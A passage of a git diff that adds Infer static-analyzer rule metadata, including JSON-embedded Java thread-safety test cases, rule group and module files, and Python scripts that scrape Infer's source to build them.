*/\n\npackage codetoanalyze.java.checkers;\n\nimport javax.annotation.concurrent.ThreadSafe;\n\nclass OurThreadUtils {\n static native boolean isMainThread();\n\n static void assertMainThread() {}\n\n static void assertHoldsLock(Object lock) {}\n}\n\nclass OurThreadUtil {\n /*This is like AndroidThreadUtil*/\n static native boolean isUiThread();\n\n static void assertOnUiThread() {}\n\n static void assertOnBackgroundThread() {}\n}\n\n@ThreadSafe\nclass RaceWithMainThread {\n\n Integer f;\n\n void main_thread_OK() {\n OurThreadUtils.assertMainThread();\n f = 88;\n }\n\n Integer f1;\n\n void main_thread1_OK() {\n OurThreadUtil.assertOnUiThread();\n f1 = 88;\n }\n\n void main_thread_indirect_OK() {\n main_thread_OK();\n f = 77;\n }\n\n void read_from_main_thread_OK() {\n Integer x;\n OurThreadUtils.assertMainThread();\n x = f;\n }\n\n void read_unprotected_unthreaded_Bad() {\n Integer x;\n x = f;\n }\n\n void read_unprotected_unthreaded1_Bad() {\n Integer x;\n x = f1;\n }\n\n /*There is a particularly subtle idiom which avoids races, where a\n variable can be read without protection on the main thread, if\n it is written with protection on the main thread and read with\n protection off. The next three methods do this safely, and the fourth\n unsafely.\n */\n Integer i;\n\n void protected_write_on_main_thread_OK() {\n OurThreadUtils.assertMainThread();\n synchronized (this) {\n i = 99;\n }\n }\n\n void unprotected_read_on_main_thread_OK() {\n Integer x;\n OurThreadUtils.assertMainThread();\n x = i;\n }\n\n void protected_read_off_main_thread_OK() {\n Integer x;\n synchronized (this) {\n x = i;\n }\n }\n\n void readProtectedUnthreadedBad() {\n Integer x;\n synchronized (this) {\n x = f;\n }\n }\n\n Integer g;\n\n void holds_lock_OK() {\n OurThreadUtils.assertHoldsLock(this);\n g = 88;\n }\n\n void holds_lock_indirect_OK() {\n holds_lock_OK();\n g = 77;\n }\n\n Integer ff;\n\n void conditional1_Ok(boolean b) {\n if (b) {\n /*People not literally putting this assert inside if's,\n but implicitly by method calls */\n OurThreadUtils.assertMainThread();\n ff = 88;\n }\n }\n\n void conditional2_bad(boolean b) {\n if (b) {\n OurThreadUtils.assertMainThread();\n ff = 88;\n } else {\n ff = 99; // this might or might now run on the main thread; warn\n }\n }\n\n void conditional_isMainThread_Ok() {\n if (OurThreadUtils.isMainThread()) {\n ff = 88;\n }\n }\n\n void conditional_isUiThread_Ok() {\n if (OurThreadUtil.isUiThread()) {\n ff = 88;\n }\n }\n\n void conditional_isMainThread_ElseBranch_Bad() {\n if (OurThreadUtils.isMainThread()) {\n synchronized (this) {\n ff = 88;\n }\n } else {\n ff = 99;\n }\n }\n\n void conditional_isUiThread_ElseBranch_Bad() {\n if (OurThreadUtil.isUiThread()) {\n synchronized (this) {\n ff = 88;\n }\n } else {\n ff = 99;\n }\n }\n\n void conditional_isMainThread_Negation_Bad() {\n if (!OurThreadUtils.isMainThread()) {\n ff = 88;\n }\n }\n\n void conditional_isMainThread_ElseBranch_Ok() {\n if (!OurThreadUtils.isMainThread()) {\n synchronized (this) {\n ff = 88;\n }\n } else {\n ff = 99;\n }\n }\n\n Object mFld;\n\n public void confusedAssertBad(boolean b) {\n if (b) {\n OurThreadUtil.assertOnBackgroundThread();\n } else {\n OurThreadUtil.assertOnUiThread();\n }\n // not sure if we're on UI or background, should report\n mFld = null;\n }\n\n int mOnlyWrittenOnMain;\n\n private void conditionalMainThreadWrite1(boolean b) {\n if (b) {\n OurThreadUtil.assertOnUiThread();\n mOnlyWrittenOnMain = 7;\n }\n }\n\n // make sure we don't forget what thread the callee write occurred on\n public void conditionalMainThreadWriteOk() {\n conditionalMainThreadWrite1(true);\n }\n\n int mWrittenOffMain;\n\n private void conditionalMainThreadWrite2(boolean b) {\n if (b) {\n OurThreadUtil.assertOnUiThread();\n } else {\n mOnlyWrittenOnMain = 7;\n }\n }\n\n public void conditionalMainThreadWriteBad() {\n conditionalMainThreadWrite2(false);\n }\n\n int mSharedField;\n\n public void writeAfterConditionalMainThreadInCalleeBad() {\n conditionalMainThreadWrite1(true);\n // one branch of the callee runs on the main thread, but that doesn't mean we can assume that\n // the caller does too\n mSharedField = 7;\n }\n}\n\n// not marked thread-safe\nclass Unmarked {\n\n int mField;\n\n void writeOnUiThreadOk() {\n OurThreadUtil.assertOnUiThread();\n mField = 7;\n }\n\n int readOnUiThreadOk() {\n OurThreadUtil.assertOnUiThread();\n return mField;\n }\n\n int readOffUiThreadOk() {\n // even though this read isn't known to be on the UI thread, we shouldn't assume that it occurs\n // on a background thread\n return mField;\n }\n}\n" + }, + { + "testname": "ReadWriteRaces.java", + "testlanguage": "java", + "expected-problems": 34, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport java.util.concurrent.locks.ReentrantLock;\nimport javax.annotation.concurrent.ThreadSafe;\n\nclass C {\n private int x = 0;\n\n public int get() {\n return x;\n }\n\n public void set(int v) {\n x = v;\n }\n}\n\n@ThreadSafe\nclass ReadWriteRaces {\n\n // read and write outside of sync races\n Integer safe_read;\n Integer racy;\n\n void m0_OK() {\n Integer local;\n local = safe_read;\n }\n\n void m0_OK2() { // parallel reads are OK\n Integer local;\n local = safe_read;\n }\n\n void m1() { // A read where there are other writes\n Integer local;\n local = racy;\n }\n\n public void m2() {\n racy = 88;\n }\n\n public void m3() {\n racy = 99;\n }\n\n // write inside sync, read outside of sync races\n Object field1;\n Object field2;\n Object field3;\n\n // need to report races involving safe writes in order to get this one\n public synchronized void syncWrite1() {\n field1 = new Object();\n }\n\n public Object unprotectedRead1() {\n return field1;\n }\n\n private Object unprotectedReadInCallee() {\n return field1;\n }\n\n public Object callUnprotecteReadInCallee() {\n return unprotectedReadInCallee();\n }\n\n public void syncWrite2() {\n synchronized (this) {\n field2 = new Object();\n }\n }\n\n public Object unprotectedRead2() {\n return field2;\n }\n\n private synchronized void syncWrite3() {\n field3 = new Object();\n }\n\n public void callSyncWrite3() {\n syncWrite3();\n }\n\n public Object unprotectedRead3() {\n return field3;\n }\n\n private final C c = new C();\n private final ReentrantLock lock = new ReentrantLock();\n\n public void readInCalleeOutsideSyncBad(int i) {\n if (c.get() > i) { // should report read/write race here\n lock.lock();\n c.set(i);\n lock.unlock();\n }\n }\n}\n" + }, + { + "testname": "SkippedClass.java", + "testlanguage": "java", + "expected-problems": 4, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// _SHOULD_BE_SKIPPED_\n\npackage codetoanalyze.java.checkers;\n\npublic class SkippedClass {\n\n Object f;\n\n public static SkippedClass returnOwned() {\n return new SkippedClass();\n }\n}\n" + }, + { + "testname": "SubFld.java", + "testlanguage": "java", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n// Fields must encapsulate the class they are declared in, not\n// the class they are potentially inherited into.\n\n@ThreadSafe\nclass SuperFld {\n\n private int f = 0;\n\n public int getF() {\n return f; // should *not* report read/write race with SubFld.setF()\n }\n\n protected int g = 0;\n\n public int getG() {\n return g; // must report read/write race with SubFld.setG()\n }\n}\n\n@ThreadSafe\npublic class SubFld extends SuperFld {\n\n private int f = 0;\n\n public synchronized void setF() {\n f = 5; // should *not* report\n }\n\n public synchronized void setG() {\n g = 5; // must report\n }\n}\n" + }, + { + "testname": "SwitchEnum.java", + "testlanguage": "java", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class SwitchEnum {\n int[] a = new int[8];\n\n // Java generates a class for the switch, which contains an int array\n // This leads to races where there are int arrays, here a[]\n public String getName(EnumClass value) {\n synchronized (this) {\n a[0] = 0; // should not report here\n }\n switch (value) {\n case VALUE1:\n return \"value 1\";\n case VALUE3:\n return \"value 3\";\n default:\n return \"other\";\n }\n }\n}\n\nenum EnumClass {\n VALUE1,\n VALUE2,\n VALUE3\n}\n" + }, + { + "testname": "ThreadSafeExample.java", + "testlanguage": "java", + "expected-problems": 64, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.annotations.VisibleForTesting;\nimport javax.annotation.concurrent.NotThreadSafe;\n\n@ThreadSafe\npublic class ThreadSafeExample {\n\n /*Included to make sure infer does not report on class initializers*/\n static Class A = ThreadSafeExample.class;\n\n Integer f;\n\n public ThreadSafeExample() {\n f = 86;\n }\n\n public void tsOK() {\n synchronized (this) {\n f = 42;\n }\n }\n\n public void tsBad() {\n f = 24;\n }\n\n public void recursiveBad() {\n f = 44;\n recursiveBad();\n }\n\n // shouldn't report here because it's a private method\n private void assignInPrivateMethodOk() {\n f = 24;\n }\n\n // but should report here, because now it's called\n public void callPublicMethodBad() {\n assignInPrivateMethodOk();\n }\n\n private void callAssignInPrivateMethod() {\n assignInPrivateMethodOk();\n }\n\n // should report a deeperTraceBade -> callAssignInPrivateMethod -> assignInPrivateMethodOk trace\n public void deeperTraceBad() {\n callAssignInPrivateMethod();\n }\n\n public synchronized void callFromSynchronizedPublicMethodOk() {\n assignInPrivateMethodOk();\n }\n\n private synchronized void synchronizedCallerOk() {\n assignInPrivateMethodOk();\n }\n\n public void callFromUnsynchronizedPublicMethodOk() {\n synchronizedCallerOk();\n }\n\n // although the constructor touches f, we shouldn't complain here\n public void callConstructorOk() {\n new ThreadSafeExample();\n }\n\n private Object returnConstructorOk() {\n return new ThreadSafeExample();\n }\n\n public void transitivelyCallConstructorOk() {\n returnConstructorOk();\n }\n\n volatile Object volatileField;\n\n // we don't warn on unsafe writes to volatile fields\n public void unsafeVolatileWriteOk() {\n this.volatileField = new Object();\n }\n\n // don't count the method as public if it's marked VisibleForTesting\n @VisibleForTesting\n public void visibleForTestingNotPublicOk() {\n this.f = 47;\n }\n\n // but do complain if a VisibleForTesting method is called from a public method\n public void callVisibleForTestingBad() {\n visibleForTestingNotPublicOk();\n }\n\n Object sharedField;\n\n private void writePrivateSharedFieldOk() {\n this.sharedField = new Object();\n }\n\n public Object returnSharedFieldOk() {\n return this.sharedField; // ok because it only races with a private method\n }\n\n Object sStaticField;\n\n public Object FP_lazyInitOk() {\n synchronized (ThreadSafeExample.class) {\n if (sStaticField != null) {\n sStaticField = new Object();\n }\n }\n return sStaticField; // we'll warn here, although this is fine\n }\n}\n\nclass ExtendsThreadSafeExample extends ThreadSafeExample {\n\n Integer field;\n\n /* Presently,we will warn not just on overwridden methods from\n @ThreadSafe class, but potentially on other methods in subclass */\n public void newmethodBad() {\n field = 22;\n }\n\n /* Bad now that it's overridden */\n public void tsOK() {\n field = 44;\n }\n}\n\n@NotThreadSafe\nclass NotThreadSafeExtendsThreadSafeExample extends ThreadSafeExample {\n\n Integer field;\n\n /* We don't want to warn on this */\n public void newmethodBad() {\n field = 22;\n }\n}\n\n@ThreadSafe\nclass YesThreadSafeExtendsNotThreadSafeExample extends NotThreadSafeExtendsThreadSafeExample {\n\n Integer subsubfield;\n\n /* We do want to warn on this */\n public void subsubmethodBad() {\n subsubfield = 22;\n }\n}\n\nclass Unannotated {\n int mField;\n\n // although ThreadSafeExample is annotated @ThreadSafe, mutating fields of this class in a\n // non-threadsafe context should be allowed\n void callThreadSafeAnnotatedCode1Ok(ThreadSafeExample o) {\n o.f = null;\n }\n\n void callThreadSafeAnnotatedCode2Ok(ThreadSafeExample o) {\n o.tsBad();\n }\n\n void mutateMyFieldOk() {\n this.mField = 1;\n }\n}\n" + }, + { + "testname": "ThreadSafeMethods.java", + "testlanguage": "java", + "expected-problems": 37, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.annotations.VisibleForTesting;\n\nclass ThreadSafeMethods {\n\n Object field1;\n Object field2;\n Object field3;\n Object field4;\n Object field5;\n\n @ThreadSafe\n public void threadSafeMethodWriteBad() {\n this.field1 = new Object(); // should warn\n }\n\n @ThreadSafe\n public Object threadSafeMethodReadBad() {\n return this.field2;\n }\n\n @ThreadSafe\n private void threadSafePrivateMethodBad() {\n this.field2 = new Object(); // should warn\n }\n\n @ThreadSafe\n @VisibleForTesting\n public void threadSafeVisibleForTestingMethodBad() {\n this.field3 = new Object(); // should warn\n }\n\n @ThreadSafe\n public void safeMethodOverride() {}\n\n // if a method annotated with @ThreadSafe in class C writes field f, then all other accesses to f\n // in C must also be thread-safe\n public void writeSameFieldAsThreadSafeMethod1Bad() {\n // warn here because field1 is also written in @ThreadSafe method threadSafeMethodWriteBad\n this.field1 = new Object();\n }\n\n // reads a field that is written in a method marked thread-safe\n public Object readSameFieldAsThreadSafeMethod1Bad() {\n return this.field1;\n }\n\n // TODO: should we report this or not?\n public synchronized void safelyWriteSameFieldAsThreadSafeMethod1Ok() {\n this.field1 = new Object();\n }\n\n public synchronized Object readSameFieldAsThreadSafeMethodWhileSynchronized1Bad() {\n return this.field1;\n }\n\n @ThreadSafe\n public synchronized void synchronizedWriteOk() {\n this.field4 = new Object();\n }\n\n // unprotected write to a field that is written safely in a method marked thread-safe\n public void writeSameFieldAsThreadSafeMethod2Bad() {\n this.field4 = new Object();\n }\n\n // unprotected read of a field that is written safely in a method marked thread-safe\n public Object readSameFieldAsThreadSafeMethod2Bad() {\n return this.field4;\n }\n\n @ThreadSafe\n public synchronized Object FN_synchronizedReadBad() {\n return this.field5;\n }\n\n private void privateAccessOk() {\n this.field5 = new Object();\n }\n\n // unprotected write to a field that is read safely in a method marked thread-safe\n public void FN_writeSameFieldAsThreadSafeMethod3Bad() {\n this.field5 = new Object();\n }\n\n // none of the writes are marked thread-safe/locked, no reason to report\n public Object readSameFieldAsThreadSafeMethodOk() {\n return this.field5;\n }\n}\n\nclass ThreadSafeMethodsSubclass extends ThreadSafeMethods {\n Object subclassField;\n\n @Override\n // overrides method annotated with @ThreadSafe, should warn\n public void safeMethodOverride() {\n this.subclassField = new Object();\n }\n\n public void FN_writeThreadSafeFieldOfSuperclassBad() {\n this.field1 = new Object();\n }\n\n public Object FN_readThreadSafeFieldOfSuperclassBad() {\n return this.field1;\n }\n\n public void writeThreadSafeFieldOfOverrideBad() {\n this.subclassField = new Object();\n }\n\n public Object readThreadSafeFieldOfOverrideBad() {\n return this.subclassField;\n }\n}\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json new file mode 100644 index 0000000..3984572 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/checkers/unknown/ResourceLeakLabExercise.json @@ -0,0 +1,15 @@ +{ + "name": "ResourceLeakLabExercise", + "language": [ + "java" + ], + "description": "Toy checker for the \\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "OCaml", + "loc": 0, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json new file mode 100644 index 0000000..06fb334 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/bufferoverrun.json @@ -0,0 +1,8 @@ +{ + "name": "bufferoverrun", + "description": null, + "rules": [ + "bufferOverrunAnalysis", + "bufferOverrunChecker" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json new file mode 100644 index 0000000..765a465 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/checkers.json @@ -0,0 +1,21 @@ +{ + "name": "checkers", + "description": null, + "rules": [ + "DisjunctiveDemo", + "Lineage", + "LineageShape", + "ParameterNotNullChecked", + "PurityAnalysis", + "PurityChecker", + "SelfInBlock", + "SilValidation", + "Siof", + "StaticConstructorStallChecker", + "annotationReachability", + "impurity", + "inefficientKeysetIterator", + "liveness", + "scopeLeakage" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json new file mode 100644 index 0000000..30b6025 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/concurrency.json @@ -0,0 +1,7 @@ +{ + "name": "concurrency", + "description": null, + "rules": [ + "starvation" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json new file mode 100644 index 0000000..39bab8b --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/cost.json @@ -0,0 +1,8 @@ +{ + "name": "cost", + "description": null, + "rules": [ + "ConfigImpactAnalysis", + "cost" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json new file mode 100644 index 0000000..c8eecf0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/integration.json @@ -0,0 +1,11 @@ +{ + "name": "integration", + "description": null, + "rules": [ + "Clang", + "Erlang", + "Hack", + "Python", + "Rust" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json new file mode 100644 index 0000000..8d44634 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/pulse.json @@ -0,0 +1,7 @@ +{ + "name": "pulse", + "description": null, + "rules": [ + "Pulse" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json new file mode 100644 index 0000000..8dbc396 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/groups/topl.json @@ -0,0 +1,7 @@ +{ + "name": "topl", + "description": null, + "rules": [ + "Topl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json b/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json new file mode 100644 index 0000000..b772652 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/main/infer-main.json @@ -0,0 +1,6 @@ +{ + "artifactId": "infer", + "groupId": null, + "version": 1.2.0, + "module": ["infer"] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json new file mode 100644 index 0000000..b49a615 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Rule formation/modules/infer-modules.json @@ -0,0 +1,13 @@ +{ + "artifactId": "infer", + "name": "infer", + "modelVersion": null, + "groups": [ + "bufferoverrun", + "checkers", + "concurrency", + "cost", + "pulse", + "topl" + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py new file mode 100644 index 0000000..701bab5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-checkers.py @@ -0,0 +1,140 @@ +import os +import re +import json + +checker_file = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src\base\Checker.ml" +src_root_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src" +test_base_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\tests\codetoanalyze" +output_root_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer\Rule formation\checkers" + +os.makedirs(output_root_dir, exist_ok=True) + +with open(checker_file, encoding="utf-8") as f: + content = f.read() + +# 提取每个规则的内容 +pattern = re.compile(r"\|\s*(\w+)\s*->\s*\{(.*?)(?=^\s*\| |\Z)", re.DOTALL | re.MULTILINE) +matches = pattern.findall(content) + +def count_loc(code: str) -> int: + return len([line for line in code.strip().splitlines() if line.strip() and not line.strip().startswith(';')]) + +def count_branches(code: str) -> int: + return len(re.findall(r"\b(if|match|function|try|when|&&|\|\|)\b", code)) + +def count_apis(code: str) -> int: + return len(re.findall(r"\b\w+\s*\(", code)) + +def extract_test_info(rule_name): + result = [] + + # 移除规则名后缀的 "checker"(不区分大小写) + rule_base = re.sub(r'checker$', '', rule_name, flags=re.IGNORECASE).lower() + + for lang_folder in ["c", "cpp", "java", "python"]: + lang_path = os.path.join(test_base_dir, lang_folder) + if not os.path.isdir(lang_path): + continue + + for subdir in os.listdir(lang_path): + if subdir.lower() == rule_base: + rule_test_path = os.path.join(lang_path, subdir) + file_ext = { + "c": ".c", + "cpp": ".cpp", + "java": ".java", + "python": ".py" + }[lang_folder] + + # 递归遍历 rule_test_path 下所有文件 + for root, _, files in os.walk(rule_test_path): + for file in files: + if file.endswith(file_ext): + file_path = os.path.join(root, file) + try: + with open(file_path, encoding='utf-8') as f: + code = f.read() + except: + continue + + func_count = len(re.findall( + r'\b(def|void|int|float|char|double|boolean|public|private|static|class)\b', code)) + + result.append({ + "testname": file, + "testlanguage": "c++" if lang_folder == "cpp" else lang_folder, + "expected-problems": func_count, + "code": code + }) + + return result + + + + +def find_rule_ml_path(rule_name: str, root_dir: str) -> tuple[str, str] or tuple[None, None]: + """ + 遍历 root_dir 子目录,寻找名为 rule_name.ml 的文件 + 返回 (规则文件完整路径, 规则文件所在文件夹名) ,找不到返回 (None, None) + """ + for dirpath, dirnames, filenames in os.walk(root_dir): + for filename in filenames: + if filename.lower() == f"{rule_name.lower()}.ml": + folder_name = os.path.basename(dirpath) + return os.path.join(dirpath, filename), folder_name + return None, None + +for rule_name, rule_body in matches: + languages = [] + # 匹配支持语言 + support_match = re.search(r"support\s*=\s*mk_support_func\s*~([^)]*)\)", rule_body) + if support_match: + lang_str = support_match.group(1) + for lang in ["clang", "java", "erlang", "hack", "python"]: + if f"{lang}:" in lang_str: + languages.append(lang) + + # 匹配描述 + desc_match = re.search(r'short_documentation\s*=\s*"([^"]+)"', rule_body) + description = desc_match.group(1) if desc_match else "" + + # 初始化统计数据 + loc = branches = apis = 0 + + # 查找规则对应的 ml 文件及所在文件夹名 + rule_ml_path, folder_name = find_rule_ml_path(rule_name, src_root_dir) + if rule_ml_path and os.path.isfile(rule_ml_path): + with open(rule_ml_path, encoding="utf-8") as rf: + rule_code = rf.read() + loc = count_loc(rule_code) + branches = count_branches(rule_code) + apis = count_apis(rule_code) + else: + folder_name = "unknown" + + + # 构造输出目录,确保存在 + output_dir = os.path.join(output_root_dir, folder_name) + os.makedirs(output_dir, exist_ok=True) + + # 生成 JSON 数据 + json_data = { + "name": rule_name, + "language": languages, + "description": description, + "example": None, + "cwe": None, + "cwe-description": None, + "checker-language": "OCaml", + "loc": loc, + "branches": branches, + "apis": apis, + "test": extract_test_info(rule_name) + } + + # 保存 JSON 文件 + output_path = os.path.join(output_dir, f"{rule_name}.json") + with open(output_path, "w", encoding="utf-8") as f: + json.dump(json_data, f, indent=2, ensure_ascii=False) + +print(f"共提取 {len(matches)} 个规则,已写入至 {output_root_dir}") diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py new file mode 100644 index 0000000..6bb5ce9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-groups.py @@ -0,0 +1,42 @@ +import os +import re +import json + +checker_ml_path = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src\base\Checker.ml" +src_base_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src" +output_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer\Rule formation\groups" + +# 提取所有规则名 +with open(checker_ml_path, encoding='utf-8') as f: + content = f.read() + +pattern = re.compile(r"\|\s*(\w+)\s*->") +all_rules = pattern.findall(content) +rule_set = set(rule.lower() for rule in all_rules) # 不区分大小写 + +group_dict = {} + +# 遍历 src 下所有子目录 +for dirpath, dirnames, filenames in os.walk(src_base_dir): + group_name = os.path.basename(dirpath) + matched_rules = [] + + for file in filenames: + if file.lower().endswith('.ml'): + rule_candidate = os.path.splitext(file)[0].lower() + if rule_candidate in rule_set: + matched_rules.append(file[:-3]) # 去掉 .ml 后缀 + + if matched_rules: + group_dict[group_name] = group_dict.get(group_name, []) + matched_rules + +# 保存为 json 文件 +for group, rules in group_dict.items(): + group_data = { + "name": group, + "description": None, + "rules": sorted(set(rules)) # 去重并排序 + } + output_path = os.path.join(output_dir, f"{group}.json") + with open(output_path, 'w', encoding='utf-8') as f: + json.dump(group_data, f, indent=2, ensure_ascii=False) diff --git a/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py b/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py new file mode 100644 index 0000000..acf6677 --- /dev/null +++ b/Raw Data/Static Analysis Tool/infer/Scripts/infer-modules.py @@ -0,0 +1,45 @@ +import os +import re +import json + +checker_ml_path = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src\base\Checker.ml" +src_root_dir = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer-main\infer-main\infer\src" +output_json_path = r"C:\Poorcomputer\Study\软件所实习\静态分析工具规则知识图谱\infer\Rule formation\modules\infer-modules.json" + +pattern = re.compile(r"\|\s*(\w+)\s*->\s*\{", re.MULTILINE) +with open(checker_ml_path, "r", encoding="utf-8") as f: + content = f.read() + +rule_names = pattern.findall(content) +print(f"共提取规则数量: {len(rule_names)}") + +file_index = {} +for root, dirs, files in os.walk(src_root_dir): + for file in files: + if file.lower().endswith(".ml"): + name_without_ext = file[:-3].lower() + folder_name = os.path.basename(root) + file_index[name_without_ext] = folder_name + +groups_set = set() +for rule in rule_names: + rule_lower = rule.lower() + group = file_index.get(rule_lower) + if group: + groups_set.add(group) + +groups_list = sorted(groups_set) +print(f"找到规则组数量: {len(groups_list)}") + +summary = { + "artifactId": "infer", + "name": "infer", + "modelVersion": None, + "groups": groups_list, +} + +os.makedirs(os.path.dirname(output_json_path), exist_ok=True) +with open(output_json_path, "w", encoding="utf-8") as f: + json.dump(summary, f, indent=2, ensure_ascii=False) + +print(f"规则组汇总已保存到:{output_json_path}") From acea2db1fd9482c01be25e186e1882909927347d Mon Sep 17 00:00:00 2001 From: Meiosis <145437200+Meiosis-Poor@users.noreply.github.com> Date: Sat, 2 Aug 2025 19:35:43 +0800 Subject: [PATCH 2/7] infer and cppcheck update the path Infer scripts and upload part of Cppcheck rule information and scripts --- .../Rule Information/groups/check64bit.json | 8 + .../Rule Information/groups/checkassert.json | 8 + .../groups/checkautovariables.json | 10 + .../Rule Information/groups/checkbool.json | 17 ++ .../groups/checkbufferoverrun.json | 15 + .../Rule Information/groups/checkclass.json | 29 ++ .../groups/checkcondition.json | 22 ++ .../groups/checkexceptionsafety.json | 15 + .../groups/checkfunctions.json | 17 ++ .../groups/checkinternal.json | 15 + .../Rule Information/groups/checkio.json | 11 + .../groups/checkleakautovar.json | 8 + .../groups/checkmemoryleak.json | 8 + .../groups/checknullpointer.json | 10 + .../Rule Information/groups/checkother.json | 51 ++++ .../groups/checkpostfixoperator.json | 9 + .../Rule Information/groups/checksizeof.json | 15 + .../Rule Information/groups/checkstl.json | 31 ++ .../Rule Information/groups/checkstring.json | 14 + .../Rule Information/groups/checktype.json | 12 + .../groups/checkuninitvar.json | 9 + .../groups/checkunusedvar.json | 9 + .../Rule Information/groups/checkvaarg.json | 9 + .../Rule Information/main/cppcheck-main.json | 6 + .../modules/cppcheck-cpp.json | 75 +++++ .../cppcheck/Scripts/cppcheck-checkers.py | 272 ++++++++++++++++++ .../cppcheck/Scripts/cppcheck-groups.py | 47 +++ .../cppcheck/Scripts/cppcheck-modules.py | 33 +++ .../infer/Scripts/infer-checkers.py | 8 +- .../infer/Scripts/infer-groups.py | 7 +- .../infer/Scripts/infer-modules.py | 7 +- 31 files changed, 797 insertions(+), 10 deletions(-) create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/check64bit.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkassert.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkautovariables.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbool.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkbufferoverrun.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkclass.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkcondition.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule Information/groups/checkexceptionsafety.json create mode 100644 Raw Data/Static Analysis Tool/cppcheck/Rule 